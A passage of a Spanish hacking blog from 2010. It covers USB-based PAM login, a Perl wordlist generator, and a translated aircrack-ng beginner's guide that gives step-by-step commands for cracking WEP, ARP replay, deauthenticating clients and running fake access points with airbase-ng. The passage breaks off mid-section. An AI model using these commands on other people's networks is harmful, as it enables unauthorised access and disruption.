y dentro del archivo buscamos la linea auth required pam_unix.so nullok_secure y le añadimos justo encima de esa linea auth sufficient pam_usb.so y guardamos el documento, y como veis en la imagen, funciona a la perfeccion.


Pero tiene una pega, el sistema al inicio no monta el pendrive asi que no lo puede reconocer, asi que tendremos que ejecutar sudo mount y ver cual es la ruta de nuestro pendrive e introducir la siguiente linea:

sudo echo “/dev/sdb1″ >> /etc/pmount.allow

donde sbd1 seria nuestro pendrive que en mi caso tiene ese nombre. y ya solo nos queda disfrutar de nuestro ordenador sin contraseña escrita.

jueves, 19 de agosto de 2010

Generador de diccionario escrito en Perl

Naufragando por internet me encontre con este programa que no hace mas que otros, ni mas rapido y mucho menos es mas bonito, pero conviene tener todos los generadores de diccionarios que podamos a mano porque nos pueden sacar las castañas del fuego en alguna ocasion.

Esta escrito por Matteo Redaelli y la verdad es que no hay mucha mas informacion que daros que no sea como se usa y el link de descarga.

$ perl ./wg.pl -l 8 -u 64 -v abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789\`\~\!\@\#\$\%\^\&\*\(\)\-\_\+\=\[\]\;\'\,\.\/\<\>\?\:\"\{\}\|\ > words.txt

-l : seria la longitud minima del worldlist que vamos a generar
-u : Seria la longitud maxima que queremos
-v : Los caracteres que incluiremos en el diccionario
words.txt : el archivo donde escribiremos el resultado


Aqui os dejo un video de mi cosecha para demostraros el uso de este programa:

Download:
FLVMP43GP

domingo, 15 de agosto de 2010

Manual Aicrack-ng Linux para principiantes

Guia para novatos de Aircrack-ng en Linux

Idea y trabajo inicial: ASPj
Añadidos por: mucha buena gente
Última actualización: Mayo 14, 2007
Traducción: Por Spanish actualizada a 16/07/2007

Este tutorial le dará los conocimientos básicos para empezar a usar la suite aircrack-ng. Es imposible cubrir todos los escenarios, por lo tanto tendrá que poner algo de su parte e investigar por su cuenta. El Foro y el Wiki tienen muchos otros tutoriales e información.

Aunque no cubre todos los pasos desde el inicio hasta el final, el manual Simple WEP Crack explica de forma detallada el uso de la suite aircrack-ng.

En los ejemplos, la opción “doble guión bssid” se muestra como ”- -bssid”. Acuérdate de borrar el espacio entre los dos guiones cuando lo uses en la vida real. Esto tambien se aplica a ”- -ivs”, ”- -arpreplay”, ”- -deauth” y ”- -fakeauth”.

Configurando el Hardware, Instalando Aircrack-ng

El primer paso para conseguir que aircrack-ng funcione correctamente en su distribución Linux es instalar y parchear el driver adecuado para su tarjeta wireless. Algunas tarjetas pueden funcionar con varios drivers, de los cuales algunos tienen las características necesarias para usar aircrack-ng, y los otros no.

Sobra decir, que usted necesita una tarjeta wireless compatible con la suite aircrack-ng. Si es completamente compatible podrá inyectar paquetes y crackear un punto de acceso wireless en menos de una hora.

Para averiguar si su tarjeta es compatible, mire la página de hardware compatible. Lea este manual en castellano ¿Es mi tarjeta wireless compatible? si no sabe que tipo de tarjeta tiene o si no sabe que tarjeta comprar.

Primero, necesita saber que chipset tiene su tarjeta wireless y que driver necesita. Podrá averiguarlo usando la información proporcionada en el párrafo anterior. En la sección de drivers encontrará que driver necesita para su específico chipset. Descárguelo y tambien busque el parche correspondiente en http://patches.aircrack-ng.org. (Estos parches son necesarios para la inyección de paquetes.)

Como yo soy propietario de una tarjeta USB con chipset Ralink, veremos los pasos para conseguir que funcione con Aircrack-ng. Para poder compilar e instalar los drivers, necesitas los kernel-sources de la distribución que tengas instalada.

Si posee otro tipo de tarjeta, revise la página de instalación de drivers para ver las instrucciones adecuadas.

Guia de instalación RaLink USB rt2570

Si tiene una tarjeta con chipset rt2570 (como por ejemplo D-Link DWL-G122 rev. B1 o Linksys WUSB54G v4) debe de utilizar los drivers de http://homepages.tu-darmstadt.de/~p_larbig/wlan/ Estos son drivers especiales que han sido modificados, que soportan inyección y que Y por supuesto que estos drivers tambien funcionan en modo normal.

Vamos a descomprimir, compilar e instalar los drivers:

tar xfj rt2570-k2wrlz-1.3.0.tar.bz2 cd rt2570-k2wrlz-1.3.0/Module make make install

El último paso ha de hacerse como root. Use su o cambie al usuario root. Despues podremos cargar el módulo en el kernel:

modprobe rt2570

Conecte su tarjeta, debería ser reconocida como rausb0. Ejecute iwconfig para ver la lista de sus tarjetas wireless y comprobar si todo ha ido bien.

Instalación de Aircrack-ng

Source

Descargue la última versión de aircrack-ng desde: http://www.aircrack-ng.org Los siguientes comandos puede que sea necesario cambiarlos si usa una versión más reciente del programa.

Descomprimir, compilar e instalar:

tar xfz aircrack-ng-0.7.tar.gz cd aircrack-ng-0.7 make make install

Como es normal, el último paso necesita hacerse como root, use su o conectese como root (use sudo make para Ubuntu).

YUM

Si está usando un sistema como Redhat Linux o Fedora Core puede instalar aircrack-ng con yum. Primero tiene que añadir el repositorio Dag Wieers o Dries.

su yum -y install aircrack-ng

RPM

Si está usando un sistema basado en rpm hay una forma muy sencilla de instalar aircrack-ng. (Por ejemplo en Redhat Linux 4)

su rpm -ihv http://dag.wieers.com/rpm/packages/aircrack-ng/aircrack-ng-0.7-1.el4.rf.i386.rpm

IMPORTANTE: Revise http://dag.wieers.com/rpm/packages/aircrack-ng/ para conseguir la última versión de la suite aircrack-ng y adapte el comando arriba indicado.

Conocimientos básicos IEEE 802.11

Ok, ahora que tenemos todo preparado, podemos hacer un “pit stop” y aprender algo sobre como funcionan las redes wireless.

El próximo capítulo es muy importante, si algo no funciona como esperabamos. Conocer el modo de funcionamiento de una red wireless nos ayudará a resolver algún problema o nos permitirá al menos, describirlo mucho mejor para que alguien nos ayude. Esta parte es un poco científica y quizás usted sienta la necesidad de saltarsela. Pero, estos conocimientos son necesarios para crackear redes wireless.

Como se encuentra una red wireless

Esta es una pequeña introducción sobre el manejo de redes que funcionan a través de un punto de acceso (AP). Cada AP envia alrededor de 10 paquetes llamados “beacon frames” cada segundo. Estos “beacon frames” contienen la siguiente información:

  • Nombre de la red (ESSID)
  • Si usa encriptación (y de que tipo; presta atención, que a veces puede no ser legible)
  • Que velocidades soporta el AP
  • En que canal se encuentra la red

Esta información aparecerá en la utilidad que use para conectarse a la red. Se muestra cuando ordena a su tarjeta que escanee o busque (scan) las redes que están a nuestro alcance con iwlist scan y tambien cuando ejecutamos airodump-ng.

Cada AP tiene una dirección MAC que es única (48 bit, 6 pares de números hexadecimales). por ejemplo 00:01:23:4A:BC:DE. Y cada cliente tiene otra dirección MAC, de tal forma que se comunicacn entre si usando esas direcciones MAC. Las direcciones MAC son únicas, en teoria no hay dos aparatos en el mundo que tengan la misma MAC.

Conectando con una red

Si quiere conectarse a una red wireless, tiene varias posibilidades. En la mayoría de los casos se usa un sistema de autenticación abierta (Open Authentication). (Opcional: Si quieres aprender más acerca de la autenticación lee este documento en inglés out.)

Autenticación abierta (Open Authentication):

  1. El cliente le pregunta al AP acerca de la autenticación.
  2. El AP contesta: OK, estás autenticado.
  3. El cliente pregunta al AP sobre la asociación
  4. El AP contesta: OK, estás conectado.


Este es un resumen muy simple y fácil de entender, pero puede encontrar algún problema cuando intenta la conexión:

  • WPA/WPA2 está en uso, y necesitas autenticación EAPOL. El AP te denegará la conexión en el segundo pao.
  • El punto de acceso tiene configurada una lista de clientes permitidos (se denomina “filtrado MAC”), y no permite conectarse a nadie mas.
  • El punto de acceso usa autenticación compartida (Shared Key Authentication). Necesitará suplantar la clave WEP correcta para conseguir la conexión. (Mire el tutorial en castellano Como hacer una autenticación falsa con clave compartida para aprender técnicas avanzadas.)

Simple sniffing y cracking

Descubriendo redes

Lo primero que debemos hacer es buscar las redes que tenemos a nuestro alrededor y decidir cual queremos atacar. La suite aircrack-ng incluye airodump-ng para esto - pero otros programas como Kismet tambien se pueden usar.

Antes de empezar a usar estos programas, es necesario poner la tarjeta wireless en lo que se llama “modo monitor”. El modo monitor es un modo especial que permite que su PC escuche y capture cada paquete wireless. Este modo monitor tambien permite inyectar paquetes a una red. La inyección será explicada más adelante en este tutorial.

Para poner su tarjeta wireless en modo monitor:

iwconfig rausb0 mode monitor

o

airmon-ng start rausb0

Para confirmar que está en modo monitor, ejecuta “iwlist” o “iwconfig” y mire en que modo se encuentra. La página sobre airmon-ng del Wiki tiene información genérica y como ejecutarlo para otras tarjetas.

Despues, inicie airodump-ng para buscar redes:

airodump-ng rausb0

“rausb0” es el nombre de la tarjeta wireless o interface. Si está usando una tarjeta con otro chipset que no sea el rt2570 tendrá que usar un nombre de interface diferente. Echele un vistazo a la documentación de su driver.

Al ejecutar airodump-ng verá una pantalla como esta:

airodump-ng va saltando de canal en canal y muestra todos los puntos de acceso de los que recibe “beacons”. Los canales 1-14 se usan para 802.11b y g (en EE.UU, solo está permitido usar 1-11; en Europa 1-13; y en Japón 1-14). Los canales del 36 al 149 son usados para 802.11a. El canal actual se muestra en la parte superior izquierda de la pantalla de airodump.

Despues de muy poco tiempo algunos APs y (si tenemos suerte) algunos clientes asociados aparecerán en airodump.

El bloque de datos superior muestra los puntos de acceso encontrados:

BSSID La dirección MAC del AP
PWR Fuerza de la señal. Algunos drivers no la muestran y aparece -1
Beacons Número de “beacon frames” recibidos. Si no conoce la fuerza de la señal, puede estimarla a través del número de beacons: cuantos más beacons capturemos, más fuerte será la señal
Data Número de frames de datos recibidos
CH Canal en el que el AP está funcionando
MB Velocidad o modo del AP. 11 es para 802.11b, 54 para 802.11g. Valores entre estos dos son una mezcla de ambos
ENC Encriptación: OPN: no hay encriptación, WEP: encriptación WEP, WPA: encriptación WPA o WPA2, WEP?: WEP o WPA (no se sabe todavía)
ESSID El nombre de la red. Algunas veces está oculto

El bloque de datos inferior muestra los clientes encontrados:

BSSID La MAC del AP al que este cliente está asociado
STATION La MAC de ese cliente
PWR Nivel de señal. Algunos drivers no lo muestran
Packets Número de frames de datos recibidos
Probes Nombre de las redes (ESSIDs) a las que este cliente probo o intentó conectarse

Para continuar, debería buscar una red con un cliente conectado, porque crackear redes sin clientes es una técnica más avanzada (Mire este post traducido al castellano Como crackear WEP sin clientes). Además debería de usar encriptación WEP y recibir una señal fuerte. Quizás pueda orientar su antena para mejorar la señal. Con frecuencia unos pocos centímetros provocan una diferencia sustancial en el nivel de señal.

En nuestro ejemplo la red 00:01:02:03:04:05 es la única qque tiene un cliente asociado. Y además tiene un buen nivel de señal, por lo que es un buen candidato para practicar.

Sniffing IVs

Cuando queremos centrarnos en una red en concreto no necesitamos que airodump vaya saltando de canal en canal. Por lo que vamos a poner la tarjeta a escuchar en ese único canal y guardar todos los datos en nuestro disco duro para usarlos mas adelante para obtener la clave wep:

airodump-ng -c 11 --bssid 00:01:02:03:04:05 -w dump rausb0

Con el parámetro -c indicamos el número del canal y con el parámetro -w el nombre del archivo en el que se guardarán los datos (dump). Con el parámetro ”–bssid” indicamos la dirección MAC del AP y limitamos la captura a ese AP. El parámetro ”–bssid” es opcional y solo está disponible en las últimas versiones de airodump-ng.

Tambien se puede añadir el parámetro –ivs. Con esto airodump-ng solo capturará los IVs con lo cual el arechivo será más pequeño y ocupará menos espacio de disco.

Para ser capaz de obtener la clave WEP necesitará entre 250.000 y 500.000 diferentes vectores de inicialización (IVs). Cada paquete de datos contiene un IV. Los IVs pueden repetirse, por lo que el número de diferentes IVs es normalmente un poco menor que el número de paquetes de datos capturados.

Por lo tanto hay que esperar y capturar de 250.000 a 500.000 paquetes de datos (IVs). Si la red tiene poco tráfico nos llevará bastante tiempo. Se puede aumentar el tráfico de la red usando un ataque de inyección (reenvio de paquetes). Mire el capítulo siguiente.

Cracking

Si ha conseguido suficientes IVs en uno o mas archivos, puede probar a crackear la clave WEP:

aircrack-ng -b 00:01:02:03:04:05 dump-01.cap

La MAC despues de la opción -b es el BSSID del AP objetivo y “dump-01.cap” es el nombre del archivo que contiene los paquetes capturados. Puede usar múltiples archivos, para ello uncluya el nombre completo de todos ellos o puede usar el * como comodin, por ejemplo: dump*.cap.

Para más información sobre las opciones de aircrack-ng, descripción de los mensajes y su uso mire este manual.

El número de IVs necesarios para crackear una clave no es un número fijo. Esto se debe a que algunos IVs son más débiles (weak) y nos dan más información sobre la clave que otros. Por lo tanto, si tiene suerte podrá obtener una clave con solo 100.000 IVs. Pero esto no es muy frecuente y si lo dejas aircrack-ng se estará ejecutando durante mucho tiempo (una semana o incluso más si le ponemos un “fudge factor” mayor con la opción -f) y despues de todo nos dirá que no ha podido encontrar la clave. Si tuviese más IVs obtendriamos la clave más rápido, como mucho en un par de minutos. Por experiencia de 250.000 a 500.000 IVs son suficientes para crackear la clave wep.

Hay algunos APs que usan un algoritmo para no generar IVs débiles. El resultado es que no podremos conseguir más que un número limitado de IVs diferentes del AP o que necesitaremos millones (por ejemplo 5 o 7 millones) para crackear la clave. Busca en el Foro, que hay algunos posts sobre casos como este y sobre que hacer.

Ataques activos

Soporte de inyección

Muchas tarjetas no soportan la inyección. Echele un vistazo a la página de tarjetas compatibles, y fíjese en la columna de aireplay. Esta lista, a veces, puede no estar actualizada, por lo tanto si ve un “NO” para el driver de su tarjeta wireless, no de todo por perdido aun; puede buscar en la página web del driver, en las denominadas “mailing list” o en nuestro Foro. Si usted fuese capaz de reinyectar usando un driver que no aparece como soportado en nuestra lista, no dude en actualizar la tabla de la página de tarjetas compatibles y añadir un link a un tutorial de como hacerlo.

El primer paso es comprobar que realmente la inyección funciona con su tarjeta y driver. La forma más fácil de comprobarlo es probar el test de inyección. Asegúrate de realizar este test antes de continuar. Su tarjeta debe ser capaz de inyectar para poder realizar los siguientes pasos de forma correcta.

Necesita conocer el BSSID (dirección MAC del AP) y el ESSID (nombre de la red) de un AP que no tenga activado el filtrado MAC (por ejemplo el suyo) y debe estar en la zona de cobertura del AP.

La primera cosa que ha de hacer es apuntar la MAC de su red WLAN. Normalmente hay una etiqueta con la MAC en el propio AP. Pero tambien puede averiguarla con el comando ifconfig (los 6 bytes hexadecimales que aparecen después de “HWaddr”, separados por ”:” o ”-”).

Cuando tenga todos los datos puede probar a conectarse a su AP usando aireplay-ng:

aireplay-ng --fakeauth 0 -e "your network ESSID" -a 00:01:02:03:04:05 -h 00:11:22:33:44:55 rausb0

El valor despues de la opción -a es el BSSID de su AP, el valor despues de -h es la MAC de su WLAN.

Si la inyección funciona debería ver algo como esto:

12:14:06  Sending Authentication Request 12:14:06  Authentication successful 12:14:06
Sending Association Request 12:14:07 Association successful :-)

Si no

  1. revise el ESSID, BSSID y su dirección MAC
  2. asegurese de que el AP no tiene activado el filtrado MAC
  3. pruebe contra otro AP
  4. asegurese de que su driver está bien parcheado y soportado
  5. en lugar de “0”, pruebe “6000 -o 1 -q 10”

Reenvio de ARP

Ahora que sabemos que funciona la inyección de paquetes, podemos aumentar la velocidad de captura de IVs: ARP-request reinjection

La idea

ARP funciona (explicado de una forma muy simple) emitiendo un paquete dirigido a todos los clientes (broadcasting) preguntando acerca de quien tiene una IP determinada y el cliente que la tiene contestará enviando una respuesta al AP. Como la encriptación WEP no tiene protección contra la repetición de paquetes, se puede capturar un paquete y reenviarlo una y otra vez de forma continuada. Por lo tanto usted solo tiene que capturar y reenviar un “ARP-request” enviado al AP para crear mucho tráfico (y capturar los IVs).

El método para vagos

Primero abrá una ventana con airodump-ng capturando tráfico. aireplay-ng y airodump-ng pueden ejecutarse al mismo tiempo. Espere por un cliente del cual se mostrará en la parte inferior su dirección MAC. Entonces inicie el ataque:

aireplay-ng --arpreplay -b 00:01:02:03:04:05 -h 00:04:05:06:07:08 rausb0

-b sirve para indicar el BSSID, -h la MAC del cliente conectado.

Ahora hay que esperar unos minutos a que un paquete ARP sea transmitido. (o mirar el capítulo siguiente).

Si tiene éxito, verá algo como esto:

Saving ARP requests in replay_arp-0627-121526.cap You must also start airodump to capture replies.
Read 2493 packets (got 1 ARP requests), sent 1305 packets...

Si en algún momento quiere parar el ataque; puede hacerlo, y la próxima vez que quiera continuar ese ataque no tendrá que esperar por ningún paquete ARP, sino que puede reusar el capturado previamente usando la opción -r .

Puede usar el método PTW para obtener la clave WEP. Este método reduce considerablemente el número de paquetes necesarios. Se deben capturar paquetes *.cap con airodump-ng, lo que significa que no se puede usar la opción ”- - ivs”. El comando con aircrack-ng sería “aircrack -z ”.

Si en algún momento el número de paquetes de datos recibidos por airodump-ng para de crecer o lo hace de forma interrumpida, debería reducir la velocidad de envio de los paquetes. Puede hacer esto con la opción -x . Yo normalmente empiezo con 50 y voy reduciendo el valor hasta que los paquetes se reciben de forma continuada. Mejorar la posición de la antena tambien suele ayudar.

El método agresivo

La mayoría de los sistemas operativos limpian la cache de ARP cuando son desconectados. Si los clientes quieren reconectarse tienen que enviar “ARP requests”. Por lo tanto la idea es desconectar a un cliente para forzarlo a que se reconecte y así capturar un “ARP-request”. Otra ventaja es que podremos conocer el ESSID durante la reconexión, por lo que es muy útil si el ESSID de su tarjeta está oculto.

Deje corriendo airodump-ng y aireplay-ng. Abrá otra ventana y ejecute un ataque de deauthentication:

aireplay-ng --deauth 5 -a 00:01:02:03:04:05 -c 00:04:05:06:07:08 rausb0

-a es el BSSID del AP, -c la MAC del cliente.

Espere unos segundos y su “arp replay” debería comenzar a funcionar.

La mayoría de los clientes se reconectan de forma automática. Pero el riesgo de que el cliente reconozca este ataque o que por lo menos le llame la atención es muy alto.


Informacion estraida integramente de Aircrack-ng homepage

domingo, 4 de julio de 2010

Herramientas suite Aircrack-ng [ Parte 1 ]

Aircrack-ng viene acompañado de varias herramientas cuyo uso nos puede ser bastante util en mas de una ocasion, y aqui juntare y detallare cuales son esas aplicaciones y sus formas de uso.

Packetforge-ng

Download:
FLVMP43GP



El propósito de packetforge-ng es crear paquetes encriptados para poder inyectarlos con posterioridad. Podemos crear varios tipos de paquetes como “ARP requests”, UDP, ICMP o paquetes hechos a la medida. El uso más común es crear paquetes “ARP requests” para ser inyectados.

Para crear un paquete encriptado, es necesario tener un archivo PRGA (pseudo random genration algorithm). Este archivo lo usaremos para encriptar el paquete que vamos a crear. Este archivo se obtiene con aireplay-ng chopchop o con el ataque de fragmentación.

Opciones:
-p : Fijar palabra “frame control” (en hexadecimal)
-a : seleccionar el punto de acceso por su dirección MAC
-c : seleccionar por la dirección MAC de destino
-h : seleccionar por la dirección MAC de origen
-j : seleccionar el bit FromDS
-o : borrar el bit ToDS
-e : deshabilitar la encriptación WEP
-k : Fijar IP de destino [Puerto]
-l : Fijar IP de origen [Puerto]
-t ttl : Fijar hora
-w : Guardar el paquete es este archivo cap


Opciones de origen:
-r : leer paquete de este archivo
-y : leer PRGA de este archivo


Modos:
–arp : Crear paquete ARP (-0)
–udp : Crear paquete UDP (-1)
–icmp : Crear paquete ICMP (-2)
–custom : Crear paquete a la medida (-9)


Aquí ponemos un ejemplo de como generar un paquete “arp request”.

Primero hay que obtener un archivo xor (PRGA) con el ataque chopchop o con el ataque de fragmentación.

Despues usa un comando como el siguiente:

packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:0F:B5:AB:CB:9D -k 192.168.1.100 -l 192.168.1.1 -y fragment-0124-161129.xor -w arp-request

Donde:
-0 indica que quieres generar un paquete “arp request”
-a 00:14:6C:7E:40:80 es la dirección MAC del punto de acceso
-h 00:0F:B5:AB:CB:9D es la dirección MAC que quieres usar
-k 192.168.1.100 es la IP de destino. Por ejemplo en un paquete arp es la frase “Who has this IP” que quiere decir en castellano “Quien tiene esta IP”
-l 192.168.1.1 es la IP de origen. Por ejemplo en un paquete arp aparecerá la frase “Tell this IP”, que significa “Digo o tengo esta IP”
-y fragment-0124-161129.xor
-w arp-packet


Asumiendo que estás experimentando con tu propio punto de acceso, el paquete “arp request” generado con anterioridad puede desencriptarse con la clave que ya conoces. Por lo que para mirar el paquete que hemos creado podemos desencriptarlo:

Escribe “airdecap-ng -w arp-request”

El resultado es algo como esto:

Total number of packets read 1
Total number of WEP data packets 1
Total number of WPA data packets 0
Number of plaintext data packets 0
Number of decrypted WEP packets 1
Number of decrypted WPA packets 0

Para ver el paquete que acabamos de desencriptar , escribimos “tcpdump -n -vvv -e -s0 -r arp-request-dec”

El resultado será similar a:


reading from file arp-request-dec, link-type EN10MB (Ethernet)
18:09:27.743303 00:0f:b5:ab:cb:9d > Broadcast, ethertype ARP (0x0806), length 42: arp who-has 192.168.1.100 tell 192.168.1.1

Que es lo que esperábamos ver. Ahora podemos inyectar este paquete “arp request” con el siguiente comando: “aireplay-ng -2 -r arp-request ath0”.

El programa nos contestará:

Size: 68, FromDS: 0, ToDS: 1 (WEP)

BSSID = 00:14:6C:7E:40:80
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 00:0F:B5:AB:CB:9D

0x0000: 0841 0201 0014 6c7e 4080 000f b5ab cb9d .A....l~@.......
0x0010: ffff ffff ffff 8001 6c48 0000 0999 881a ........lH......
0x0020: 49fc 21ff 781a dc42 2f96 8fcc 9430 144d I.!.x..B/....0.M
0x0030: 3ab2 cff5 d4d1 6743 8056 24ec 9192 c1e1 :.....gC.V$.....
0x0040: d64f b709 .O..

Use this packet ? y

Saving chosen packet in replay_src-0124-163529.cap
You should also start airodump-ng to capture replies.
End of file.



Airbase-ng

Download:
FLVMP43GP


Airbase-ng es una utilidad “multi-propósito” dirigida a atacar a los clientes conectados a un Punto de Acceso (AP). Como es tan versatil y flexible, no es fácil realizar un resumen o sumario. De todos modos las funciones más importantes que se pueden realizar son:


  • Implementa el ataque a un cliente “Caffe Latte WEP”.
  • Implementa el ataque “Hirte WEP client attack”.
  • Habilita para capturar el handshake WPA/WP2.
  • Habilita para actuar como un Punto de Acceso “ad-hoc”
  • Habilita para actuar como un Punto de Acceso normal
  • Habilita para filtrar por SSID o dirección MAC del cliente
  • Habilita para manipular y reenviar paquetes
  • Habilita para encriptar los paquetes enviados y desendriptar los recibidos.


La idea principal de esta utilidad es que los clientes se podrían asociar a un AP falso (fake AP), y no pueden preveer que están accediendo al Punto de Acceso real.

Una interface (atX) se crea cuando airbase-ng se ejecuta. Esta se puede usar para recibir paquetes desencriptados o enviar paquetes encriptados.

Como los clientes reales probablemente enviaran “probe requests”, estos paquetes son importantes para hacer picar a un cliente hacía nuestro Punto de Acceso “softAP”. En este caso, el AP responderá a cualquier paquete “probe request” con el correspondiente “probe response”, el cual le dice al cliente que se encuentra autenticado al BSSID de airbase-ng. Hay que decir que esto podría distorsionar el funcionamiento correcto de otros APs que se encuentren en el mismo canal.

PELIGRO: airbase-ng puede muy fácilmente corromper y distorsionar el funcionamiento de los Puntos de Acceso de los alrededores. Por lo tanto, usa filtros para minimizar esta posibilidad. Actua siempre con responsabilidad y no impidas el funcionamiento de las redes que se encuentran alrededor de la tuya.


uso: airbase-ng

Opciones:
-a bssid : Fija la Dirección MAC del punto de acceso
-i iface : captura paquetes desde esta interface
-w WEP key : usa esta clave WEP para encriptar/desencriptar paquetes
-h MAC : dirección mac origen para el modo “MITM”
-f disallow : rechazar las direcciones MACs de los clientes especificados (por defecto: las acepta todas)
-W 0|1 : [no] fijar “WEP flag” en beacons 0|1 (por defecto: auto)
-q : silencio (no mostrar estadísticas)
-v : verbose (imprimir o mostrar mas mensajes) (opción larga --verbose)
-M : M-I-T-M (“hombre en el medio”) entre el cliente y bssids
-A : Modo Ad-Hoc (permite a otros clientes conectarse) (opción larga --ad-hoc)
-Y in|out|both : procesamiento de paquetes externos
-c channel : fija el número del canal en el que el AP se encuentra
-X : oculta ESSID (opción larga --hidden)
-s : forzar “shared key authentication”
-S : fijar longitud “shared key” (por defecto: 128)
-L : Ataque “Caffe-Latte” (opción larga --caffe-latte)
-N : Ataque “Hirte” (cfrag attack), crea un “arp request” para el cliente wep (opción larga –cfrag)
-x nbpps : número de paquetes por segundo (por defecto: 100)
-z type : fija el tipo de encriptación WPA1. 1=WEP40 2=TKIP 3=WRAP 4=CCMP 5=WEP104
-Z type : lo mismo que -z, pero para WPA2
-V type : fake EAPOL 1=MD5 2=SHA1 3=auto

Opciones de filtro:

--bssid : BSSID a filtrar/usar (opción corta -b)
--bssids : leer una lista de BSSIDs desde un archivo (opción corta -B)
--client : dirección MAC del cliente a aceptar (opción corta -d)
--clients : leer una lista de direcciones MACs desde un archivo (opción corta -D)
--essid : especificar un ESSID (opción corta -e)
--essids : leer una lista de ESSIDs desde un archivo (opción corta -E)

Ayuda:

--help: Muestra una página parecida a esta con todas las opciones (opción corta -H)

-a BSSID Definición

Si no se especifica explicitamente un BSSID usando la opción ”-a ”, entonces se usa la dirección MAC actual de la interface especificada.
-i iface

Si especificas una interface con esta opción los paquetes son también capturados y procesados desde esta interface además de la “replay interface”.

-w WEP key

Si la encriptación usada es WEP, entonces el parámetro ”-w ” sirve para fijar la clave. Esto es suficiente para permitir a airbase-ng añadir todo el resto de parámetros por si mismo.

Si el “softAP” opera con encriptación WEP, el cliente puede escoger usar el sitema de autenticación abierta (open system authentication) o compartida (shared key authentication). Ambos métodos de autenticación están soportados por airbase-ng. Pero para conseguir un “keystream”, el usuario puede probar a forzar al cliente a usar “shared key authentication”. ”-s” fuerza una autenticación compartida (shared key auth.) y ”-S ” fija la longitud del preámbulo.

-h MAC

Esta es la dirección MAC origen para el ataque “man-in-the-middle” (hombre en el medio). También hay que especificar la opción ”-M”.
-f allow/disallow

Si no se incluye esta opción, por defecto se usa ”-f allow”. Lo que significa que los filtros MAC (-d y -D) definen que clientes se aceptan.

Usando la opción ”-f disallow” puede causar que airbase ignore los clientes especificados por los filtros.

-W WEP Flag

Esto fija la “WEP flag” o bandera del paquete baliza o “beacon”. Recuerda que los clientes solo conectaran a los APs que tengan las mismas opciones. Por ejemplo WEP a WEP, red abierta a red abierta.

La opción “auto” permite a airbase-ng fijar automáticamente la opción (bandera o flag) a partir del resto de opciones especificadas. Por ejemplo, si fijas una clave WEP con el parámetro -w, entonces la bandera (beacon flag) será fijada a WEP.

Otro uso de “auto” es permitir conectarse a los clientes que pueden ajustar automáticamente su tipo de conexión. Aunque, esto funciona en raras ocasiones.

En la práctica, es mejor fijar el valor adecuado según el tipo de red en la que estemos trabajando.

-M Ataque MITM

Esta opción todavía no está disponible. Es un ataque “hombre en el medio” (man-in-the-middle), es decir nos colocamos entre los clientes especificados y los BSSIDs.

-A Modo Ad-Hoc

Esto provoca que airbase-ng actue como un cliente ad-hoc en lugar de un punto de acceso normal.

En el modo ad-hoc airbase-ng también envía balizas o beacons, pero no necesita ninguna autenticación/asociación. Puede activarse usando ”-A”. El “soft AP” ajustará automáticamente todas las banderas y opciones necesarias para simular una tarjeta en modo ad-hoc y generará una dirección MAC, que se usará como AD-HOC MAC en lugar de el BSSID. Esta puede ser fijada con la opción ”-a ”. La dirección MAC se usará como mac origen, que puede ser cambiada con ”-h ”.

-Y Proceso Externo

La opción ”-Y” activa el modo de “proceso externo”. Esto crea una segunda interface “atX”, que se usa para reenviar/modificar/capturar o inyectar paquetes también. Esta interface hay que levantarla con ifconfig y una utilidad externa es necesaria para crear y utilizar esta interface.

La estructura del paquete es bastante simple: el encabezado ethernet (14 bytes) es ignorado y a continuación el frame ieee80211 es procesado por airbase-ng (para los paquetes entrantes) o antes de que los paquetes sean enviados (paquetes salientes). Este modo intercepta todos los paquetes de datos y circulan a través de una aplicación externa, que decide que es lo que hay que hacer con ellos. La dirección MAC e IP de la segunda interface tap no tienen importancia, como una tarjeta ethernet real los frames de esta interface se lanzan a todas partes.

Hay 3 argumentos para ”-Y”: “in”, “out” y “both”, que especifican la dirección de los frames que circulan a través de la aplicación externa. Obviamente “in” redirecciona solo los frames entrantes (a través del NIC wireless), mientras los frames salientes no se tocan. “out” hace todo lo contrario, solo circulan paquetes salientes y “both” envía en todas las direcciones a través de la segunda interface tap.

Hay una pequeño y simple utilidad que sirve de ejemplo para reenviar todos los frames a través de la segunda interface. La utilidad se denomina “replay.py” y se encuentra en la carpeta ”./test”. Está escrita en python, pero el lenguaje de programación no importa. Usa pcapy para leer los frames y scapy posibilita alterar/mostrar y reinyectar los frames. La utilidad simplemente reenvía todos los frames y muestra un corto resumen de los paquetes recividos. La variable “packet” contiene el paquete ieee80211 completo, que puede fácilmente ser diseccionado y modificado usando scapy.

Esto se puede comparar con los filtros de ettercap, pero es mucho más poderoso, ya que como un lenguaje real de programación puede ser usado para construir paquetes complejos. La desventaja de usar python es, que tendremos un pequeño retardo de alrededor de 100ms y la utilización de la cpu es mucho mayor en una red a alta velocidad, pero es perfecto para una demostración con solo unas pocas lineas de código.

-s Forzar Autenticación con clave compartida

Cuando lo especifiquemos, esto fuerza una autenticación para todos los clientes con clave compartida (shared key).

El “soft AP” enviará una reinyección “authentication method unsupported” a cualquier sistema abierto (open system) si se especifica la opción ”-s”.

-S Longitud preámbulo clave compartida

”-S ” fija la longitud del preámbulo, y puede ser cualquier número comprendido entre 16 a 1480. Por defecto se usa 128 bytes. Es el número de bytes usados en el preámbulo previo a la conexión. Como una etiqueta o “tag” puede contener un máximo de 255 bytes, cualquier valor superior a 255 crea varias etiquetas o “tags” hasta que se escriban todos los bytes especificados. Algunos clientes ignoran valores diferentes a los de 128 bytes, por lo que esta opción puede no funcionar siempre.

-L Ataque "Caffe Latte"

Airbase-ng tambien contiene el nuevo ataque “caffe-latte”, que está implementado también en aireplay-ng como ataque ”-6”. Puede ser usado con ”-L” o ”–caffe-latte”. Este ataque funciona especificamente contra los clientes, mientras están esperando por una petición arp dirigida a todos (broadcast arp request). Mira esta documentación en inglés para ver una explicación de lo que es gratuitous arp. El cliente contestará a la petición arp y enviará unos pocos bits con su MAC y dirección IP, con el valor correcto del ICV (crc32). La razón por la que este ataque funciona habitualmente en la práctica es, porqué al menos en windows se envían “gratuitous arps” despues de que una conexión se realiza y se concede una dirección ip estática, y si el dhcp falla windows asigna una IP del rango 169.254.X.X.

”-x ” fija el número de paquetes por segundo a enviar con el ataque caffe-latte. Actualmente, este ataque no se para, y envía continuamente peticiones arp. Airodump-ng es necesario para capturar las respuestas.

-N Ataque Hirte (Ataque de Fragmentación)

